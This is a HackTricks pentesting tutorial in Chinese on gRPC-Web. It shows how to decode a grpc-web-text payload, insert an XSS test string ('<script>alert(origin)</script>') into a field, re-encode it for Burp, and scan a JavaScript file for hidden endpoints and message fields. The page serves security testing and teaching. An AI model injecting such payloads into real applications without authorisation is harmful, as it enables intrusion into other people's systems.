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https://github.com/carlospolop/hacktricks
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161 lines
8.3 KiB
Markdown
161 lines
8.3 KiB
Markdown
# gRPC-Web渗透测试
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<details>
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<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
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支持HackTricks的其他方式：
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- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
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- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
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- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
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</details>
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## **操纵gRPC-Web负载**
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gRPC-Web在请求中使用Content-Type: `application/grpc-web-text`，这种形式类似于base64编码的protobuf，您可以使用[gprc-coder](https://github.com/nxenon/grpc-pentest-suite)工具，也可以安装其[Burp Suite扩展程序](https://github.com/nxenon/grpc-pentest-suite)。
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### **使用gGRPC Coder工具手动操作**
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1. 首先解码负载：
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```bash
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echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt
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```
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## 2. 编辑解码后的有效负载内容
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在拦截和解码 gRPC 流量后，攻击者可以编辑有效负载内容以尝试执行各种攻击。这可能包括更改请求参数、注入恶意代码或修改数据以触发应用程序中的漏洞。编辑有效负载内容是一种常见的渗透测试技术，可帮助发现应用程序中的安全漏洞。
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```
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nano out.txt
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2: {"Amin Nasiri Xenon GRPC"}
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3: 54
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7: {"<script>alert(origin)</script>"}
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```
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3. 编码新的有效载荷
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```bash
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protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
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```
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4. 在Burp拦截器中使用输出：
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```
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AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+
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```
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### **使用 gRPC-Web Coder Burp Suite 扩展的手册**
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您可以在 [gRPC-Web 渗透测试套件](https://github.com/nxenon/grpc-pentest-suite) 中使用 gRPC-Web Coder Burp Suite 扩展，这样更容易。您可以在其存储库中阅读安装和使用说明。
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## **分析 gRPC-Web JavaScript 文件**
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每个 gRPC-Web 应用程序中至少有一个 JavaScript 文件。您可以分析该文件以查找新消息、端点和服务。尝试使用 [gRPC-Scan](https://github.com/nxenon/grpc-pentest-suite) 工具。
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1. 下载 JavaScript gRPC-Web 文件
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2. 使用 grpc-scan.py 进行扫描：
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```bash
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python3 grpc-scan.py --file main.js
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```
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3. 分析输出并测试新的端点和新的服务：
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```
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Output:
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Found Endpoints:
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/grpc.gateway.testing.EchoService/Echo
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/grpc.gateway.testing.EchoService/EchoAbort
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/grpc.gateway.testing.EchoService/NoOp
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/grpc.gateway.testing.EchoService/ServerStreamingEcho
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/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort
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Found Messages:
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grpc.gateway.testing.EchoRequest:
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+------------+--------------------+--------------+
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| Field Name | Field Type | Field Number |
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+============+====================+==============+
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| Message | Proto3StringField | 1 |
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+------------+--------------------+--------------+
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| Name | Proto3StringField | 2 |
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+------------+--------------------+--------------+
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| Age | Proto3IntField | 3 |
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+------------+--------------------+--------------+
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| IsAdmin | Proto3BooleanField | 4 |
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+------------+--------------------+--------------+
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| Weight | Proto3FloatField | 5 |
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+------------+--------------------+--------------+
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| Test | Proto3StringField | 6 |
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+------------+--------------------+--------------+
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| Test2 | Proto3StringField | 7 |
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+------------+--------------------+--------------+
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| Test3 | Proto3StringField | 16 |
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+------------+--------------------+--------------+
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| Test4 | Proto3StringField | 20 |
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+------------+--------------------+--------------+
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grpc.gateway.testing.EchoResponse:
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+--------------+--------------------+--------------+
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| Field Name | Field Type | Field Number |
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+==============+====================+==============+
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| Message | Proto3StringField | 1 |
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+--------------+--------------------+--------------+
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| Name | Proto3StringField | 2 |
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+--------------+--------------------+--------------+
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| Age | Proto3IntField | 3 |
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+--------------+--------------------+--------------+
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| IsAdmin | Proto3BooleanField | 4 |
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+--------------+--------------------+--------------+
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| Weight | Proto3FloatField | 5 |
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+--------------+--------------------+--------------+
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| Test | Proto3StringField | 6 |
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+--------------+--------------------+--------------+
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| Test2 | Proto3StringField | 7 |
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+--------------+--------------------+--------------+
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| Test3 | Proto3StringField | 16 |
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+--------------+--------------------+--------------+
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| Test4 | Proto3StringField | 20 |
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+--------------+--------------------+--------------+
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| MessageCount | Proto3IntField | 8 |
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+--------------+--------------------+--------------+
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grpc.gateway.testing.ServerStreamingEchoRequest:
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+-----------------+-------------------+--------------+
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| Field Name | Field Type | Field Number |
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+=================+===================+==============+
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| Message | Proto3StringField | 1 |
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+-----------------+-------------------+--------------+
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| MessageCount | Proto3IntField | 2 |
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+-----------------+-------------------+--------------+
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| MessageInterval | Proto3IntField | 3 |
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+-----------------+-------------------+--------------+
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grpc.gateway.testing.ServerStreamingEchoResponse:
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+------------+-------------------+--------------+
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| Field Name | Field Type | Field Number |
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+============+===================+==============+
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| Message | Proto3StringField | 1 |
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+------------+-------------------+--------------+
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grpc.gateway.testing.ClientStreamingEchoRequest:
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+------------+-------------------+--------------+
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| Field Name | Field Type | Field Number |
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+============+===================+==============+
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| Message | Proto3StringField | 1 |
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+------------+-------------------+--------------+
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grpc.gateway.testing.ClientStreamingEchoResponse:
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+--------------+----------------+--------------+
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| Field Name | Field Type | Field Number |
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+==============+================+==============+
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| MessageCount | Proto3IntField | 1 |
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+--------------+----------------+--------------+
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```
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## 参考资料
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* [Amin Nasiri的《入侵 gRPC-Web 文章》](https://infosecwriteups.com/hacking-into-grpc-web-a54053757a45)
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* [gRPC-Web 渗透测试套件](https://github.com/nxenon/grpc-pentest-suite)
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<details>
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<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>
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支持 HackTricks 的其他方式：
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* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**，请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
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</details>
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